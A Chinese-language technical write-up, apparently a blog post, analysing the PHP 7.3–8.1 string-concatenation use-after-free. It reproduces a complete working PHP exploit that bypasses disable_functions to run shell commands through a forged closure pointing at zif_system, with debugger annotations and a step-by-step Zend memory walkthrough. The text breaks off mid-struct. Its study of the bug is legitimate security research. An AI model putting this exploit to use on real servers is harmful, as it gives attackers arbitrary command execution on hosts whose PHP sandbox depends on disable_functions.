欢迎光临
我们一直在努力

PHP的concat操作导致的UAF利用脚本分析

1. 简介

PHP 7.3-8.1 中字符串连接符中有一个错误,当参数为数组时会触发错误处理,如果在错误处理回调中删除了相关资源,会造成UAF

POC

<?php

$my_var = str_repeat("a", 1);
set_error_handler(
    function() use(&$my_var) {
        echo("error\n");
        $my_var = 0x123;
    }
);
$my_var .= [0];

?>

exp

<?php

# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=81705
# 
# This exploit should work on all PHP 7.3-8.1 versions
# released as of 2022-01-07
#
# Author: https://github.com/mm0r1

new Pwn("uname -a");

class Helper { public $a, $b, $c; }
class Pwn {
    const LOGGING = false;
    const CHUNK_DATA_SIZE = 0x60;
    const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
    const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;
    // 0x18是zend_string的头大小
    const HT_SIZE = 0x118;
    const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;

    public function __construct($cmd) {
        for($i = 0; $i < 10; $i++) {
            // 分配了两个数组结构,其值指向字符串结构
            // 这里的操作会使得内存池分配32个Bucket出来,不带索引数组,共计32*32+8=1032字节,要分配24号规格内存
            // 为什么要这个操作,不要好像也可以
            $groom[] = self::alloc(self::STRING_SIZE);
            $groom[] = self::alloc(self::HT_STRING_SIZE);
        }

        $concat_str_addr = self::str2ptr($this->heap_leak(), 16);
        // concat_str_addr是'Array'+'A'*66这段字符串zend_string(占95字节内存)的地址0x7ffff3a84580,这是concat产生的结果。
        // 其字符串内容offset=16处开始是$arr原本的数组的占据的Bucket的位置,concat操作产生的result='Array'+'A'*66的zval覆盖了这个位置
        $fill = self::alloc(self::STRING_SIZE);
        // 为啥要这个操作,没有还不行
        // STRING_SIZE能分配到95字节的内存空间
        // $fill的zend_string地址是0x7ffff3a84500
        // 二者大小相同,地址紧挨,相距0x80
        // 因为调试时,有ZEND_DEBUG_BUILD声明,95字节的zend_string实际分配到了11号规格的内存,即相差0x80
        // 为什么$fill在'Array'+'A'*66的前面呢
        printf("0x%x\n",$concat_str_addr);
        $this->abc = self::alloc(self::STRING_SIZE);
        var_dump($fill);

        $abc_addr = $concat_str_addr + self::CHUNK_SIZE;
        self::log("abc @ 0x%x", $abc_addr);

        $this->free($abc_addr);
        $this->helper = new Helper;
        if(strlen($this->abc) < 0x1337) {
            self::log("uaf failed");
            return;
        }

        $this->helper->a = "leet";
        $this->helper->b = function($x) {};
        $this->helper->c = 0xfeedface;

        $helper_handlers = $this->rel_read(0);
        self::log("helper handlers @ 0x%x", $helper_handlers);

        $closure_addr = $this->rel_read(0x20);
        self::log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        self::log("closure class_entry @ 0x%x", $closure_ce);

        $basic_funcs = $this->get_basic_funcs($closure_ce);
        self::log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        self::log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = 0x70;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->rel_write($fake_closure_off + 0x38, 1, 4);
        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->rel_write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
        self::log("fake closure @ 0x%x", $fake_closure_addr);

        $this->rel_write(0x20, $fake_closure_addr);
        ($this->helper->b)($cmd);

        $this->rel_write(0x20, $closure_addr);
        unset($this->helper->b);
    }

    private function heap_leak() {//开始UAF
        $arr = [[], []];//首先是数组
        $buf=null;//然后是一个临时变量
        set_error_handler(function() use (&$arr, &$buf) {
            $arr = 2;//$arr原本指向的_zend_array 0x7ffff3a59a80结构被释放
            // 这一步操作会调用zend_array_destroy回收内存
            // ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER调用的zend_assign_to_variable中,将$arr中存储的zend_array地址视为垃圾(garbage),调用rc_dtor_func回收
            // $arr对应的zval.value的值变为1.
            // zend_mm_free_small回收了$arr的内存,重新挂载到了slot——16,320字节大小的链表头上。
            // $arr结构的arData结构在0x7ffff3a5d288,释放的时候只是释放该Bucket结构,_zend_array存储在0x7ffff3a59a80,时9号规格的small内存,96字节
            // 使用宏HT_GET_DATA_ADDR(ht)获取到了要释放的Bucket结构,计算得0x7ffff3a5d280,$arr数组中的两个Bucket分别存放在0x7ffff3a5d288和0x7ffff3a5d2a8(一个Bucket32字节)
            // 为啥从0x7ffff3a5d280跟前开始释放呢,$arr时pack array,不需要索引数组,所以其只有两个单位的值为-1的索引数组,索引数组一个solt占4个字节,两个就是8字节
            // 索引数组就在Bucket的签名,通过相关size的计算可以得出索引数组的大小,这里算得索引数组的大小为2,所以最后释放的地址就是0x7ffff3a5d280,其offset=8的位置就是arData,即第一个Bucket
            // 这个未初始化的数组是在编译阶段就分配的,分配Bucket时,最少一次分配8个,每个32B,共256B再加上8个字节的索引数组,共计264B,能容纳这么多最小规格时16号320B大小的small内存
            // zend_string头有24字节,分配255长度的字符串内存,共计需要279B,也会分配到16号规格内存,如此,UAF的条件达到
            // 调用栈
/* 
zend_mm_free_small(zend_mm_heap * heap, void * ptr, int bin_num) (\home\xxxxx\php-src\Zend\zend_alloc.c:1280)
zend_mm_free_heap(zend_mm_heap * heap, void * ptr, const char * __zend_filename, const uint32_t __zend_lineno, const char * __zend_orig_filename, const uint32_t __zend_orig_lineno) (\home\xxxxx\php-src\Zend\zend_alloc.c:1370)
_efree(void * ptr, const char * __zend_filename, const uint32_t __zend_lineno, const char * __zend_orig_filename, const uint32_t __zend_orig_lineno) (\home\xxxxx\php-src\Zend\zend_alloc.c:2549)
zend_array_destroy(HashTable * ht) (\home\xxxxx\php-src\Zend\zend_hash.c:1635)
rc_dtor_func(zend_refcounted * p) (\home\xxxxx\php-src\Zend\zend_variables.c:57)
zend_assign_to_variable(zval * variable_ptr, zval * value, zend_uchar value_type, zend_bool strict) (\home\xxxxx\php-src\Zend\zend_execute.h:131)
ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER() (\home\xxxxx\php-src\Zend\zend_vm_execute.h:40771)
execute_ex(zend_execute_data * ex) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57205)
zend_call_function(zend_fcall_info * fci, zend_fcall_info_cache * fci_cache) (\home\xxxxx\php-src\Zend\zend_execute_API.c:812)
_call_user_function_ex(zval * object, zval * function_name, zval * retval_ptr, uint32_t param_count, zval * params, int no_separation) (\home\xxxxx\php-src\Zend\zend_execute_API.c:644)
zend_error_va_list(int type, const char * error_filename, uint32_t error_lineno, const char * format, struct __va_list_tag * args) (\home\xxxxx\php-src\Zend\zend.c:1366)
zend_error(int type, const char * format) (\home\xxxxx\php-src\Zend\zend.c:1480)
__zval_get_string_func(zval * op, zend_bool try) (\home\xxxxx\php-src\Zend\zend_operators.c:889)
zval_get_string_func(zval * op) (\home\xxxxx\php-src\Zend\zend_operators.c:925)
concat_function(zval * result, zval * op1, zval * op2) (\home\xxxxx\php-src\Zend\zend_operators.c:1829)
zend_binary_op(zval * ret, zval * op1, zval * op2) (\home\xxxxx\php-src\Zend\zend_execute.c:1312)
ZEND_ASSIGN_DIM_OP_SPEC_CV_CONST_HANDLER() (\home\xxxxx\php-src\Zend\zend_vm_execute.h:39117)
execute_ex(zend_execute_data * ex) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57109)
zend_execute(zend_op_array * op_array, zval * return_value) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57913)
zend_execute_scripts(int type, zval * retval, int file_count) (\home\xxxxx\php-src\Zend\zend.c:1665)
    */

            $buf = str_repeat("\x00", self::HT_STRING_SIZE);//0x118-0x18-0x01长度的0x00 0x00ff即255长度的字符串,这个字符串覆盖了_zend_array结构体
            // 经过对原来的arr结构地址设置数据更改断点发现,arr原本的位置被str_repeat函数操作时覆盖
            // 在一次调试中,_zend_array存储在0x7ffff3a59a80,这是一个哈希表,arData存储在0x7ffff3a5d288,Bucket长度2
            // 新分配的字符串长度255,占空间287,emalloc得到地址0x7ffff3a5d280
            // 该地址在16号规格small内存中,320B
        // // 此时得到的$buf的字符串内容就存储在和$arr的Bucket一样的位置,concat的错误使得该匿名函数被调用,即ZEND_ERROR被执行,ZEND_ERROR执行后实际继续返回到concat的后续过程开始执行
        });
        $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
        // op2是长度为一个96(0x60)标准存储单元大小的zend_string结构体,op1是zval_struct结构体
        //op1是数组,op2是字符串,concat时,引发错误,掉头error handler的回调函数,$arr变量的内存指向zval_struct,
        //offset+0偏移处的成员是一个_zend_array结构体的地址,现在其值就是1,数字1,一个64位地址,里面只有1。
        //在这一部操作中,op1是引用类型的值,handler发现其是引用,就提取出它引用的内容,发现是一个数组,然后调用宏SEPARATE_ARRAY来分离数组
        // 引用计数只有1时,分离操作不起作用,否则,垃圾回收机制会删除一次引用
        // 在赋值操作实际执行时,$arr所代表的数组被提取出来作为实际操作数
        // 对于的handler是ASSIGN_DIM_OP,操作数 op1是$arr,op2是1,根据指令的特点,该handler会调用下一条指令的数据,OP_DATA的操作数,及alloc产生的字符串
        // 于是 op1是$arr[1],是数组,op2是字符串'\x00'*255
        // 因为op1的是array,所以触发ZEND_ERROR
        // zend_fetch_dimension_address_inner_RW_CONST,handler调用该函数在哈希表中对数组取值
        // $arr[1]的地址在0x7ffff3a5d2a8
        /*  */
        // ZEND_ERROR执行后,__zval_get_string_func返回一个zend_known_strings的地址,其内容时Array,并赋给了op1_copy,暂存op1,(此时真正的op1已经被字符串覆盖了)
        // 因为时.=这种自操作,所以指令中的result和op1的地址相同,对result的操作就是对op1的操作
        // op1_copy得到值后,op1_copy的地址被赋回op1,即op1表示zend_known_strings,即"Array"的地址
        // 此时,result指向"\x00"*255的zval,op2指向66字节长度的alloc函数产生的字符串,最终concat_function返回了'Array'+'A'*66这段字符串,$buf的zval.value也指向了新分配的存储这块内存
        // $buf的zval.value本来是全0,$buf本身的结构在0x7ffff3a5d280,但是op1的引用在0x7ffff3a5d2a8,有40个字节的偏移
        // 执行这句ZVAL_NEW_STR(result, result_str)时,0x7ffff3a5d2a8的zval.value被赋值,指向'Array'+'A'*66这段字符串zend_string
        // 此时我读取$buf的字符串偏移$buf[16]处起始的8个字节就是'Array'+'A'*66这段字符串zend_string的地址
        // offset=16因为$buf在0x7ffff3a5d280,result在0x7ffff3a5d2a8,相差40字节,除去0x7ffff3a5d280开始的24字节字符串zend_string的头外,再偏移16字节就是reslut,即'Array'+'A'*66这段字符串zval。
        file_put_contents("/mnt/c/Users/L1sper/Desktop/1.bin",$buf);
        return $buf;

    }

    private function free($addr) {
        $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr); 
        $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));

        $arr = [[], []];
        set_error_handler(function() use (&$arr, &$buf, &$payload) {
            $arr = 1;
            $buf = str_repeat($payload, 1);
        });
        $arr[1] .= "x";
    }

    private function rel_read($offset) {
        return self::str2ptr($this->abc, $offset);
    }

    private function rel_write($offset, $value, $n = 8) {
        for ($i = 0; $i < $n; $i++) {
            $this->abc[$offset + $i] = chr($value & 0xff);
            $value >>= 8;
        }
    }

    private function read($addr, $n = 8) {
        $this->rel_write(0x10, $addr - 0x10);
        $value = strlen($this->helper->a);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20180731, 20190902, 20200930, 20210902])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    self::log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function log($format, $val = "") {
        if(self::LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat("A", $size));
    }

    static function str2ptr($str, $p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }
}

?>

2. UAF分析

<?php

$arr = [[], []];//首先是数组
arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));

?>

set_error_handler会设置错误处理句柄,当PHP执行报错时,调用该函数

.=是PHP赋值操作附加字符串连接,这里对应操作是ZEND_ASSIGN_DIM_OP,意思就是数组降维,说白了就是取数组元素。

赋值的参数是zval(IS_STRING:66*'\0'),被赋值的是一个zend_empty_array,然后进入 zend_binary_op进行赋值操作

参数列表是(ret=arr[1],op1=arr[1],op2=zval@66*'\0'),此处因为是.= ,即自赋值,返回值和op1是一样的

zend_binary_op函数中定义了各种不同类型的操作句柄,由Opcode的扩展值决定使用那种操作

static zend_always_inline int zend_binary_op(zval *ret, zval *op1, zval *op2 OPLINE_DC)
{
    static const binary_op_type zend_binary_ops[] = {
        add_function,
        sub_function,
        mul_function,
        div_function,
        mod_function,
        shift_left_function,
        shift_right_function,
        concat_function,
        bitwise_or_function,
        bitwise_and_function,
        bitwise_xor_function,
        pow_function
    };
    /* size_t cast makes GCC to better optimize 64-bit PIC code */
    size_t opcode = (size_t)opline->extended_value;

    return zend_binary_ops[opcode - ZEND_ADD](ret, op1, op2);
}
//op                           fetch          ext  return  operands
//ASSIGN_DIM_OP                .=               8          !0, 1
//此处的扩展值是8,即调用concat_function进行操作

\$arr存了一串Bucket,每个Bucket里面带了一个zval,对于\$arr来说,每个元素是一个zend_array

跟进concat_function

首先验证op1是不是字符串,如果不是,字符串,就尝试使用zval_get_string_func(op1)从中得到字符串

跟进zval_get_string_func

判断类型,发现是IS_ARRAY,调用zend_error,触发回调错误处理句柄

<?php
    $buf=null;
    set_error_handler(function() use (&$arr, &$buf){
        $arr = 2;
        $buf = str_repeat("\x00", self::HT_STRING_SIZE);
    });

在错误处理句柄中,\$arr被重新赋值,导致其本来对应的那块空间被销毁,即其堆地址被挂载到了free链表上了。被销毁的包括\$arr对应的zend_array结构,以及哈希表数据存储的部分,即Bucket所在的部分。

以某次调试为例,zval_get_string_func的参数zval即\$arr[1]的地址是0x7ffff3a5d2a8,它是第二个Bucket,一个Bucket的大小是32B,然后packed类型的未初始化数组的数组索引表大小是2,每个索引值都是-1,size是32b即4字节,arData的地址就是0x7ffff3a5d288,整个数据部分的地址就是0x7ffff3a5d280,当前arr这个数组共有8个Bucket,2个索引,共计264字节,加上调试信息32字节,这块结构共计296字节,占据32号RUN规格的内存。根据地址计算得到验证。

buf现在需要分配HT_STRING_SIZE = HT_SIZE – 0x18 – 1 = 0x118 -0x18 -1的内容。0x118是280B,即分配255长的字符串,需要分配空间是(_ZSTR_HEADER_SIZE + len + 1) = 280B,因为分配字符串时还会带上zend_mm_debug_info的32字节,所以需要额外32字节,即共需312B空间,最后分配得到320B的空间,刚好是上次被释放的0x7ffff3a5d280。这块区域其实前面有存储过255长度的'\0',来自于

for($i = 0; $i < 10; $i++) {
            // 分配了两个数组结构,其值指向字符串结构
            // 这里的操作会使得内存池分配32个Bucket出来,不带索引数组,共计32*32+8=1032字节,要分配24号规格内存
            // 为什么要这个操作,不要好像也可以
            $groom[] = self::alloc(self::STRING_SIZE);
            $groom[] = self::alloc(self::HT_STRING_SIZE长度的字符串,消耗10个16号RUN空间);//HT_STRING_SIZE长度的字符串,消耗10个16号RUN空间
        }

继续,错误处理完后,op1的位置已经不复存在了,op1指向了一个新的字符串”Array“,上面提到的255*‘\0’放在buf中。

回到concat_function,处理完op1后,再处理op2,op2本身就是字符串66*A,拼接后得到‘Array+66*A,此时返回值是存储再0x7ffff3a5d2a8处的,所以新的字符串对应得zval地址被放在了0x7ffff3a5d2a8处

此时,\$buf中的zend_string首地址就是0x7ffff3a5d280,字符串内容的地址就是0x7ffff3a5d298,在字符串内容偏移+16处,即zend_string+40处。这样我们就能够得到‘Array+66*A的zval结构(地址0x7ffff3a84580,type=6=IS_STRING)。同时,能够控制通过buf对该位置值的控制,读取任意地址的内容。

3. 利用分析

然后是

$this->abc = self::alloc(self::STRING_SIZE);

STRING_SIZE在调试环境下始终是47,分配到0x80=128B的内存空间。

前面提到的Array+66*A长度也是STRING_SIZE,二者占据的大小相同,空间相邻。

$fill = self::alloc(self::STRING_SIZE);

是为了消耗掉Array+66*A前面的0x80的空间,避免$this->abc分配到其前面,导致后面计算abc的地址的计算方法错误(==有一个问题,为何Array+66*A前面还会有空间空着==)

$abc_addr = $concat_str_addr + self::CHUNK_SIZE;

有一个问题,为何Array+66*A前面还会有空间空着:

根据调试,这是op2参数的位置。。。,用完之后会被释放,即0x7ffff3a84500在链表首。

回到前面,abc的位置已经被确定。即0x7ffff3a84580+ 0x80 = 0x7ffff3a84600。

此时进行了另一个操作

$this->free($abc_addr);
    private function free($addr) {
        $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr); 
        $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));//320B的空间

        $arr = [[], []];//320B的空间
        set_error_handler(function() use (&$arr, &$buf, &$payload) {
            $arr = 1;
            $buf = str_repeat($payload, 1);//数组的320B被填充
        });
        $arr[1] .= "x";
    }

free函数的功能很明显和heap_leap很相似,只不过填充arData空间的不再是全0。根据前面的分析,这里又分配了一个320字节的块,并用pack("Q*", 0xdeadbeef, 0xcafebabe, 0x7ffff3a84580).AAA...AAA填充,

重点:然后,在销毁该哈希表的时候,会销毁其中的所有Bucket里的内容。此处的哈希表地址是0x00007ffff3a5e680,arData就在0x00007ffff3a5e688, $arr[1] 就在0x00007ffff3a5e6a8,显然这里存储了一个zval

zval_struct{
    .value = 0x00007ffff3a5e6a8;
    .u1.v.type = 6
}

这里就会被识别为一个字符串,然后其引用值为1,释放的时候就会被直接释放掉。所以$this->abc这里的0x80 = 128字节就会空出来

free函数执行完后,buf是指向长度0xdeadbeef的字符串,zend_string地址在0x7ffff3a5e680,$arr[1] .= "x"的结构存储在0x00007ffff3a92f80;

继续,

$this->helper = new Helper;
        if(strlen($this->abc) < 0x1337) {
            self::log("uaf failed");
            return;
        }

        $this->helper->a = "leet";
        $this->helper->b = function($x) {};
        $this->helper->c = 0xfeedface;

这里新建了一个类,对应ZEND_NEW操作,其会从EG(class_table)全局类表中找到对应的zend_class_entry结构的地址,此处为0x7ffff3a04018,该结构大小为456B,然后调用object_init_ex初始化一个对象出来(0x7ffff3a84600)。分配对象的时候用到了zend_objects_new,计算出的需要分配的大小是

56 + 16*2 +32= 120 其中((ce->ce_flags & ZEND_ACC_USE_GUARDS) = 1),刚好分配到free(abc)所得到的空间。

其中的成员变量b被赋予了一个闭包函数,即从EG(function_table)里面找到了zend_function结构,该结构大小224,该闭包函数的名字是%00%7Bclosure%7D%2Fhome%2Fxxxxx%2Fphp-src%2Ftest.php%3A58%240(注意url解码)。zend_function结构和zend_op_array具有相同大小,切二者拥有相同的common部分

union _zend_function {
    zend_uchar type;    /* MUST be the first element of this struct! */
    uint32_t   quick_arg_flags;

    struct {
        zend_uchar type;  /* never used */
        zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
        uint32_t fn_flags;
        zend_string *function_name;
        zend_class_entry *scope;
        zend_function *prototype;
        uint32_t num_args;
        uint32_t required_num_args;
        zend_arg_info *arg_info;
    } common;

    zend_op_array op_array;
    zend_internal_function internal_function;
};

然后是计算helper对象的地址

$helper_handlers = $this->rel_read(0);
    private function rel_read($offset) {
        return self::str2ptr($this->abc, $offset);
    }   
    static function str2ptr($str, $p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }

前面提到,$this->abc会引用到一块已经空闲的0x80=128大小的空间,分配的helper对象刚好能够占用上次free掉abc时释放出来的128B的空间,于是$this->abc现在可以根据偏移量取到helper对象对应的zend_objects结构里面的数据。

struct _zend_object {
    zend_refcounted_h gc;//8B
    uint32_t          handle; // TODO: may be removed ???
    zend_class_entry *ce;
    const zend_object_handlers *handlers;
    HashTable        *properties;
    zval              properties_table[1];
};
struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong        h;                /* hash value */
    size_t            len;
    char              val[1];
};
//根据这两个结构的对比以及字节对齐的原理,val处的值就是对象对应的zend_object_handlers,字符串长度就是ce的地址
ZEND_API zend_object* ZEND_FASTCALL zend_objects_new(zend_class_entry *ce)
{
    zend_object *object = emalloc(sizeof(zend_object) + zend_object_properties_size(ce));

    _zend_object_std_init(object, ce);
    object->handlers = &std_object_handlers;
    return object;
}
static zend_always_inline size_t zend_object_properties_size(zend_class_entry *ce)
{
    return sizeof(zval) *
        (ce->default_properties_count -
            ((ce->ce_flags & ZEND_ACC_USE_GUARDS) ? 0 : 1));
}

据此,可以读取到helper的zend_object中的handlers地址

$helper_handlers = $this->rel_read(0);

然后是closure,这里其实读到的就是$helper->b对应的zend_object结构的地址(zval中的地址值存储在最前面)

$closure_addr = $this->rel_read(0x20);
self::log("real closure @ 0x%x", $closure_addr);

再然后是读取closure_ce,

$closure_ce = $this->read($closure_addr + 0x10);
self::log("closure class_entry @ 0x%x", $closure_ce);
    private function rel_write($offset, $value, $n = 8) {
        for ($i = 0; $i < $n; $i++) {
            $this->abc[$offset + $i] = chr($value & 0xff);
            $value >>= 8;
        }
    }

    private function read($addr, $n = 8) {
        $this->rel_write(0x10, $addr - 0x10);
        $value = strlen($this->helper->a);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

读取方法如下:0x10偏移处是 $helper->a的zval,更改其value字段为要读取的addr-0x10,就能使用字符串长度获取到对应的值(len字段在zend_string的0x10偏移处,读取len就需要给定zend_string的地址,即将zval的value字段覆盖为addr-0x10)

此时达到了任意地址读的目的,然后就是读取helper->b的匿名函数_zend_object的偏移0x10处的值,即zend_object.ce;,是类的描述结构zend_class_entry的地址。该结构内部包含方法所属类名,父类名,各种魔术方法等。

struct _zend_class_entry {
    char type;
    zend_string *name;
    /* class_entry or string depending on ZEND_ACC_LINKED */
    union {
        zend_class_entry *parent;
        zend_string *parent_name;
    };
    int refcount;
    uint32_t ce_flags;

    int default_properties_count;
    int default_static_members_count;
    zval *default_properties_table;
    zval *default_static_members_table;
    ZEND_MAP_PTR_DEF(zval *, static_members_table);
    HashTable function_table;
    HashTable properties_info;
    HashTable constants_table;

    struct _zend_property_info **properties_info_table;

    zend_function *constructor;
    zend_function *destructor;
    zend_function *clone;
    zend_function *__get;
    zend_function *__set;
    zend_function *__unset;
    zend_function *__isset;
    zend_function *__call;
    zend_function *__callstatic;
    zend_function *__tostring;
    zend_function *__debugInfo;
    zend_function *serialize_func;
    zend_function *unserialize_func;

    /* allocated only if class implements Iterator or IteratorAggregate interface */
    zend_class_iterator_funcs *iterator_funcs_ptr;

    /* handlers */
    union {
        zend_object* (*create_object)(zend_class_entry *class_type);
        int (*interface_gets_implemented)(zend_class_entry *iface, zend_class_entry *class_type); /* a class implements this interface */
    };
    zend_object_iterator *(*get_iterator)(zend_class_entry *ce, zval *object, int by_ref);
    zend_function *(*get_static_method)(zend_class_entry *ce, zend_string* method);

    /* serializer callbacks */
    int (*serialize)(zval *object, unsigned char **buffer, size_t *buf_len, zend_serialize_data *data);
    int (*unserialize)(zval *object, zend_class_entry *ce, const unsigned char *buf, size_t buf_len, zend_unserialize_data *data);

    uint32_t num_interfaces;
    uint32_t num_traits;

    /* class_entry or string(s) depending on ZEND_ACC_LINKED */
    union {
        zend_class_entry **interfaces;
        zend_class_name *interface_names;
    };

    zend_class_name *trait_names;
    zend_trait_alias **trait_aliases;
    zend_trait_precedence **trait_precedences;

    union {
        struct {
            zend_string *filename;
            uint32_t line_start;
            uint32_t line_end;
            zend_string *doc_comment;
        } user;
        struct {
            const struct _zend_function_entry *builtin_functions;
            struct _zend_module_entry *module;
        } internal;
    } info;
};

再者是获取函数基地址,

$basic_funcs = $this->get_basic_funcs($closure_ce);
self::log("basic_functions @ 0x%x", $basic_funcs);
    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20180731, 20190902, 20200930, 20210902])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    self::log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

读取方法是根据ce的地址,在其前面查找,根据MODULE_API_NO进行验证查找模块结构zend_module_entry

struct _zend_module_entry {
    unsigned short size;
    unsigned int zend_api;
    unsigned char zend_debug;
    unsigned char zts;
    const struct _zend_ini_entry *ini_entry;
    const struct _zend_module_dep *deps;
    const char *name;
    const struct _zend_function_entry *functions;
    int (*module_startup_func)(INIT_FUNC_ARGS);
    int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
    int (*request_startup_func)(INIT_FUNC_ARGS);
    int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
    void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
    const char *version;
    size_t globals_size;
#ifdef ZTS
    ts_rsrc_id* globals_id_ptr;
#else
    void* globals_ptr;
#endif
    void (*globals_ctor)(void *global);
    void (*globals_dtor)(void *global);
    int (*post_deactivate_func)(void);
    int module_started;
    unsigned char type;
    void *handle;
    int module_number;
    const char *build_id;
};

offset=0处事size,offset=4处是zend_api,一般是20180731、20190902、20200930、20210902中之一,offset=0x20处是模块名name的地址。

为什么可以在ce的附近找到module呢,因为注册闭包函数对应的zend_class_entry是在zend_register_closure_ce函数中。根据watch调试得到,该结构在do_register_internal_class中被malloc分配并初始化,在加载启动Core模块时被分配在堆空间中。

调用栈如下:

standard模块的zend_module_entry结构在php_register_internal_extensions_func注册内部模块时被加载进已注册模块哈希表。使用内存断点得到调用栈:

这里向哈希表中添加内容时,该哈希表的GC位被设置了IS_ARRAY_PERSISTENT,即被分配于系统malloc区内。

所以,ce和module都在堆中,可以慢慢向前查到。校验值是代码中定义的_zend_module_entry标准头。

#define ZEND_MODULE_API_NO 20190902
#define STANDARD_MODULE_HEADER_EX sizeof(zend_module_entry), ZEND_MODULE_API_NO, ZEND_DEBUG, USING_ZTS

zend_module_entry basic_functions_module = { /* {{{ */
    STANDARD_MODULE_HEADER_EX,
    NULL,
    standard_deps,
    "standard",                 /* extension name */
    basic_functions,            /* function list */
    PHP_MINIT(basic),           /* process startup */
    PHP_MSHUTDOWN(basic),       /* process shutdown */
    PHP_RINIT(basic),           /* request startup */
    PHP_RSHUTDOWN(basic),       /* request shutdown */
    PHP_MINFO(basic),           /* extension info */
    PHP_STANDARD_VERSION,       /* extension version */
    STANDARD_MODULE_PROPERTIES
};

_zend_module_entry偏移为0x24的位置是_zend_function_entry结构的地址,里面存放了该模块所有的函数,其中就包括了PHP_FE(system,arginfo_system)

依次读出_zend_function_entry列表里的每一个zend_function_entry结构,为其分配zend_internal_function大小的堆空间,然后拷贝zend_function前面一部分内容。因为zend_function是一个联合体,里面zend_op_array是最大的,所以拷贝前面zend_internal_function大小就可以了。这个新的zend_internal_function结构的指针将会被添加到全局函数表中。我们找到的其实是被全局定义在zend_module_entry的function列表中的basic_functions。

typedef struct _zend_function_entry {
    const char *fname;
    zif_handler handler;
    const struct _zend_internal_arg_info *arg_info;
    uint32_t num_args;
    uint32_t flags;
} zend_function_entry;

handler就是真正的函数地址

我们要做的就是将找到的_zend_function_entry结构赋给zend_function的handler

$zif_system = $this->get_system($basic_funcs);
        self::log("zif_system @ 0x%x", $zif_system);

接下来就是构造一个假的闭包函数,让他成为内部函数。

$fake_closure_off = 0x70;
         for($i = 0; $i < 0x138; $i += 8) {
             $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
         }
         $this->rel_write($fake_closure_off + 0x38, 1, 4);
         $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
         $this->rel_write($fake_closure_off + $handler_offset, $zif_system);

         $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
         self::log("fake closure @ 0x%x", $fake_closure_addr);

         $this->rel_write(0x20, $fake_closure_addr);
         ($this->helper->b)($cmd);

         $this->rel_write(0x20, $closure_addr);
         unset($this->helper->b);

对于($this->helper->b)($cmd);类的动态调用,会进入zend_init_dynamic_call_object逻辑,获取对象的get_closure句柄并调用。

zend_init_dynamic_call_object内,传入的obj指针被强转为zend_closure闭包,其实在编译的时候,分配的空间大小就是按照_zend_closure分配的(加上调试信息共需要344B,分配得到17号RUN,384B),其中第一个成员就是_zend_object。

转换为闭包后,能够读取到其对应得zend_functionzend_class_entry等。

typedef struct _zend_closure {//312B
    zend_object       std;//56B
    zend_function     func;//224B
    zval              this_ptr;//16B
    zend_class_entry *called_scope;
